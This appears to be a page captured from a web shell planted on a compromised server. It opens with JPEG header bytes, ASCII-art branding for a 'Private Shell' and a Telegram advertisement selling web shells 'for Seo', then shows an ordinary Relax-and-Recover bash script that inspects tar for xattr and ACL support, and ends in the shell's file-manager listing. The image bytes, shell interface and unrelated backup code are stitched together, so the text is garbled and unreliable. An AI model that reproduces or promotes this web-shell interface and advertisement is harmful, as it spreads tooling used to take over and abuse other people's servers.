����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# prep/NETFS/GNU/Linux/205_inspect_tar_capabilities.sh
# The purpose is to inspect the 'tar --usage' for certain capabilities and if found
# add these to the BACKUP_PROG_OPTIONS array
# See also issue https://github.com/rear/rear/issues/1175
# As we will only inspect 'tar' we will return if BACKUP_PROG=rsync
[[ "$(basename $BACKUP_PROG)" != "tar" ]] && return
# BACKUP_PROG=tar - continue:
# Verify extended attributes being present:
if tar --usage | grep -q -- --xattrs ; then
BACKUP_PROG_OPTIONS+=( "--xattrs" )
PROGS+=( getfattr setfattr )
fi
# Verify extended capabilities are present (incl. SElinux security capabilities)
# For example : getcap /bin/ping
# /bin/ping = cap_net_admin,cap_net_raw+p
# After recovery we should see the same capabilities
if tar --usage | grep -q -- --xattrs-include ; then
BACKUP_PROG_OPTIONS+=( "--xattrs-include=security.capability" "--xattrs-include=security.selinux" )
# prep/GNU/Linux/310_include_cap_utils.sh uses NETFS_RESTORE_CAPABILITIES=( 'Yes' ) to kick in next line, and is
# meant to save capabilities via rescue/NETFS/default/610_save_capabilities.sh
# Here we try to achieve the same via the 'tar' program
PROGS+=( getcap setcap )
fi
if tar --usage | grep -q -- --acls ; then
BACKUP_PROG_OPTIONS+=( "--acls" )
PROGS+=( getfacl setfacl )
fi
# --selinux option was covered by script 200_selinux_in_use.sh
# save the BACKUP_PROG_OPTIONS array content to the $ROOTFS_DIR/etc/rear/rescue.conf
# we need that for the restore part with tar
echo "BACKUP_PROG_OPTIONS=( ${BACKUP_PROG_OPTIONS[@]} )" >> $ROOTFS_DIR/etc/rear/rescue.conf
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 200_selinux_in_use.sh | File | 3.02 KB | 0644 |
|
| 205_inspect_tar_capabilities.sh | File | 1.58 KB | 0644 |
|